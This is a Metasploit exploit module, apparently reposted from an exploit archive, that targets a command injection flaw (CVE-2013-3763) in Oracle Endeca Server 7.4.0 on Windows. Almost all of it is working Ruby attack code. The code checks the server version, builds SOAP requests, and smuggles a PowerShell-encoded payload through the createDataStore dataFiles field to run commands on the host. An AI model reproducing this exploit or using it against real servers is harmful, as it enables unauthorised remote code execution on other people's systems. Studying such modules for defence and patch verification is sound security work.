Oracle Endeca Server Remote Command Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Powershell  
  
def initialize  
super(  
'Name' => 'Oracle Endeca Server Remote Command Execution',  
'Description' => %q{  
This module exploits a command injection vulnerability on the Oracle Endeca  
Server 7.4.0. The vulnerability exists on the createDataStore method from the  
controlSoapBinding web service. The vulnerable method only exists on the 7.4.0  
branch and isn't available on the 7.5.5.1 branch. On the other hand, the injection  
has been found to be Windows specific. This module has been tested successfully  
on Endeca Server 7.4.0.787 over Windows 2008 R2 (64 bits).  
},  
'Author' => [  
'rgod <rgod[at]autistici.org>', # Vulnerability discovery  
'juan vazquez' # Metasploit module  
],  
'Platform' => 'win',  
'Arch' => [ ARCH_X86_64, ARCH_X86 ],  
'References' =>  
[  
[ 'CVE', '2013-3763' ],  
[ 'BID', '61217' ],  
[ 'OSVDB', '95269' ],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-190/' ],  
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpujuly2013-1899826.html' ]  
],  
'Targets' =>  
[  
[ 'Oracle Endeca Server 7.4.0 / Microsoft Windows 2008 R2 64 bits', { } ]  
],  
'DefaultTarget' => 0,  
'Privileged' => false,  
'DisclosureDate' => 'Jul 16 2013'  
)  
  
register_options(  
[  
Opt::RPORT(7770),  
OptString.new('TARGETURI', [true, 'The URI path of the Control Web Service', '/ws/control'])  
], self.class)  
end  
  
def peer  
return "#{rhost}:#{rport}"  
end  
  
def version_soap  
soap = <<-eos  
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns="http://www.endeca.com/endeca-server/control/1/0">  
<soapenv:Header/>  
<soapenv:Body>  
<ns:version/>  
</soapenv:Body>  
</soapenv:Envelope>  
eos  
  
return soap  
end  
  
def create_data_store_soap(name, files)  
soap = <<-eos  
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns="http://www.endeca.com/endeca-server/control/1/0">  
<soapenv:Header/>  
<soapenv:Body>  
<ns:createDataStore>  
<ns:dataStoreConfig>  
<ns:name>#{name}</ns:name>  
<ns:dataFiles>#{files}</ns:dataFiles>  
</ns:dataStoreConfig>  
</ns:createDataStore>  
</soapenv:Body>  
</soapenv:Envelope>  
eos  
  
return soap  
end  
  
def check  
  
res = send_request_soap(version_soap)  
  
if res.nil? or res.code != 200 or res.body !~ /versionResponse/  
return Exploit::CheckCode::Safe  
end  
  
version_match = res.body.match(/<serverVersion>Oracle Endeca Server ([0-9\.]*) /)  
  
if version_match.nil?  
return Exploit::CheckCode::Unknown  
else  
version = version_match[1]  
end  
  
print_status("#{peer} - Version found: Oracle Endeca Server #{version}")  
  
if version =~ /7\.4\.0/ and version <= "7.4.0.787"  
return Exploit::CheckCode::Vulnerable  
end  
  
return Exploit::CheckCode::Safe  
  
end  
  
def send_request_soap(data)  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path),  
'method' => 'POST',  
'ctype' => 'text/xml; charset=utf-8',  
'headers' =>  
{  
'SOAPAction' => "\"\""  
},  
'data' => data  
})  
  
return res  
end  
  
def exploit  
command = cmd_psh_payload(payload.encoded)  
if command.length > 8000  
# Windows 2008 Command Prompt Max Length is 8191  
fail_with(Failure::BadConfig, "#{peer} - The selected paylod is too long to execute through powershell in one command")  
end  
print_status("#{peer} - Exploiting through Powershell...")  
execute_command(command)  
end  
  
def execute_command(cmd)  
# HTML encode ampersands so SOAP is correctly interpreted  
cmd.gsub!(/&/, "&#x26;")  
injection = "c:\\&#x22;&#x26; #{cmd} &#x26;&#x22;"  
exploit_data = create_data_store_soap(rand_text_alpha(4), injection)  
begin  
res = send_request_soap(exploit_data)  
if res.nil? or res.code != 500 or ( res.body !~ /Error creating data files at/ and res.body !~ /Data files don't exist/ )  
print_status("#{res.code}\n#{res.body}") if res  
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to execute the CMD Stager")  
end  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Unable to connect")  
end  
end  
  
end  
`